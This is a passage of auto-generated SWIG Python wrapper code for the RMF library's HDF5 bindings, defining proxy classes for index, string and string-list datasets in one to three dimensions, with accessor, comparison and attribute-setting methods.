r"""__lt__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexConstDataSet3D # Register IndexConstDataSet3D in _RMF_HDF5: _RMF_HDF5.IndexConstDataSet3D_swigregister(IndexConstDataSet3D) class IndexDataSetAttributes1D(IndexConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSetAttributes1D # Register IndexDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.IndexDataSetAttributes1D_swigregister(IndexDataSetAttributes1D) class IndexDataSetAttributes2D(IndexConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSetAttributes2D # Register IndexDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.IndexDataSetAttributes2D_swigregister(IndexDataSetAttributes2D) class IndexDataSetAttributes3D(IndexConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSetAttributes3D # Register IndexDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.IndexDataSetAttributes3D_swigregister(IndexDataSetAttributes3D) class IndexesConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexesConstDataSet1D self) -> IndexesConstDataSet1D""" _RMF_HDF5.IndexesConstDataSet1D_swiginit(self, _RMF_HDF5.new_IndexesConstDataSet1D()) def get_size(self): r"""get_size(IndexesConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.IndexesConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(IndexesConstDataSet1D self, DataSetIndex1D ijk) -> Ints""" return _RMF_HDF5.IndexesConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(IndexesConstDataSet1D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(IndexesConstDataSet1D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexesConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> IntsList""" return _RMF_HDF5.IndexesConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(IndexesConstDataSet1D self, IndexesConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexesConstDataSet1D # Register IndexesConstDataSet1D in _RMF_HDF5: _RMF_HDF5.IndexesConstDataSet1D_swigregister(IndexesConstDataSet1D) class IndexesConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexesConstDataSet2D self) -> IndexesConstDataSet2D""" _RMF_HDF5.IndexesConstDataSet2D_swiginit(self, _RMF_HDF5.new_IndexesConstDataSet2D()) def get_size(self): r"""get_size(IndexesConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.IndexesConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(IndexesConstDataSet2D self, DataSetIndex2D ijk) -> Ints""" return _RMF_HDF5.IndexesConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(IndexesConstDataSet2D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(IndexesConstDataSet2D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexesConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> IntsList""" return _RMF_HDF5.IndexesConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(IndexesConstDataSet2D self, IndexesConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexesConstDataSet2D # Register IndexesConstDataSet2D in _RMF_HDF5: _RMF_HDF5.IndexesConstDataSet2D_swigregister(IndexesConstDataSet2D) class IndexesConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexesConstDataSet3D self) -> IndexesConstDataSet3D""" _RMF_HDF5.IndexesConstDataSet3D_swiginit(self, _RMF_HDF5.new_IndexesConstDataSet3D()) def get_size(self): r"""get_size(IndexesConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.IndexesConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(IndexesConstDataSet3D self, DataSetIndex3D ijk) -> Ints""" return _RMF_HDF5.IndexesConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(IndexesConstDataSet3D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(IndexesConstDataSet3D self) -> std::string""" return _RMF_HDF5.IndexesConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexesConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> IntsList""" return _RMF_HDF5.IndexesConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(IndexesConstDataSet3D self, IndexesConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexesConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexesConstDataSet3D # Register IndexesConstDataSet3D in _RMF_HDF5: _RMF_HDF5.IndexesConstDataSet3D_swigregister(IndexesConstDataSet3D) class IndexesDataSetAttributes1D(IndexesConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexesDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexesDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexesDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexesDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexesDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexesDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSetAttributes1D # Register IndexesDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.IndexesDataSetAttributes1D_swigregister(IndexesDataSetAttributes1D) class IndexesDataSetAttributes2D(IndexesConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexesDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexesDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexesDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexesDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexesDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexesDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSetAttributes2D # Register IndexesDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.IndexesDataSetAttributes2D_swigregister(IndexesDataSetAttributes2D) class IndexesDataSetAttributes3D(IndexesConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexesTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IndexesDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IndexesDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.IndexesDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IndexesDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IndexesDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IndexesDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.IndexesDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSetAttributes3D # Register IndexesDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.IndexesDataSetAttributes3D_swigregister(IndexesDataSetAttributes3D) class StringConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringConstDataSet1D self) -> StringConstDataSet1D""" _RMF_HDF5.StringConstDataSet1D_swiginit(self, _RMF_HDF5.new_StringConstDataSet1D()) def get_size(self): r"""get_size(StringConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.StringConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(StringConstDataSet1D self, DataSetIndex1D ijk) -> RMF::HDF5::StringTraits::Type""" return _RMF_HDF5.StringConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(StringConstDataSet1D self) -> std::string""" return _RMF_HDF5.StringConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(StringConstDataSet1D self) -> std::string""" return _RMF_HDF5.StringConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(StringConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> Strings""" return _RMF_HDF5.StringConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(StringConstDataSet1D self, StringConstDataSet1D o) -> bool""" return _RMF_HDF5.StringConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringConstDataSet1D # Register StringConstDataSet1D in _RMF_HDF5: _RMF_HDF5.StringConstDataSet1D_swigregister(StringConstDataSet1D) class StringConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringConstDataSet2D self) -> StringConstDataSet2D""" _RMF_HDF5.StringConstDataSet2D_swiginit(self, _RMF_HDF5.new_StringConstDataSet2D()) def get_size(self): r"""get_size(StringConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.StringConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(StringConstDataSet2D self, DataSetIndex2D ijk) -> RMF::HDF5::StringTraits::Type""" return _RMF_HDF5.StringConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(StringConstDataSet2D self) -> std::string""" return _RMF_HDF5.StringConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(StringConstDataSet2D self) -> std::string""" return _RMF_HDF5.StringConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(StringConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> Strings""" return _RMF_HDF5.StringConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(StringConstDataSet2D self, StringConstDataSet2D o) -> bool""" return _RMF_HDF5.StringConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringConstDataSet2D # Register StringConstDataSet2D in _RMF_HDF5: _RMF_HDF5.StringConstDataSet2D_swigregister(StringConstDataSet2D) class StringConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringConstDataSet3D self) -> StringConstDataSet3D""" _RMF_HDF5.StringConstDataSet3D_swiginit(self, _RMF_HDF5.new_StringConstDataSet3D()) def get_size(self): r"""get_size(StringConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.StringConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(StringConstDataSet3D self, DataSetIndex3D ijk) -> RMF::HDF5::StringTraits::Type""" return _RMF_HDF5.StringConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(StringConstDataSet3D self) -> std::string""" return _RMF_HDF5.StringConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(StringConstDataSet3D self) -> std::string""" return _RMF_HDF5.StringConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(StringConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> Strings""" return _RMF_HDF5.StringConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(StringConstDataSet3D self, StringConstDataSet3D o) -> bool""" return _RMF_HDF5.StringConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringConstDataSet3D # Register StringConstDataSet3D in _RMF_HDF5: _RMF_HDF5.StringConstDataSet3D_swigregister(StringConstDataSet3D) class StringDataSetAttributes1D(StringConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.StringDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.StringDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringDataSetAttributes1D # Register StringDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.StringDataSetAttributes1D_swigregister(StringDataSetAttributes1D) class StringDataSetAttributes2D(StringConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.StringDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.StringDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringDataSetAttributes2D # Register StringDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.StringDataSetAttributes2D_swigregister(StringDataSetAttributes2D) class StringDataSetAttributes3D(StringConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.StringDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.StringDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.StringDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringDataSetAttributes3D # Register StringDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.StringDataSetAttributes3D_swigregister(StringDataSetAttributes3D) class StringsConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsConstDataSet1D self) -> StringsConstDataSet1D""" _RMF_HDF5.StringsConstDataSet1D_swiginit(self, _RMF_HDF5.new_StringsConstDataSet1D()) def get_size(self): r"""get_size(StringsConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.StringsConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(StringsConstDataSet1D self, DataSetIndex1D ijk) -> Strings""" return _RMF_HDF5.StringsConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(StringsConstDataSet1D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(StringsConstDataSet1D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(StringsConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> StringsList""" return _RMF_HDF5.StringsConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(StringsConstDataSet1D self, StringsConstDataSet1D o) -> bool""" return _RMF_HDF5.StringsConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringsConstDataSet1D # Register StringsConstDataSet1D in _RMF_HDF5: _RMF_HDF5.StringsConstDataSet1D_swigregister(StringsConstDataSet1D) class StringsConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsConstDataSet2D self) -> StringsConstDataSet2D""" _RMF_HDF5.StringsConstDataSet2D_swiginit(self, _RMF_HDF5.new_StringsConstDataSet2D()) def get_size(self): r"""get_size(StringsConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.StringsConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(StringsConstDataSet2D self, DataSetIndex2D ijk) -> Strings""" return 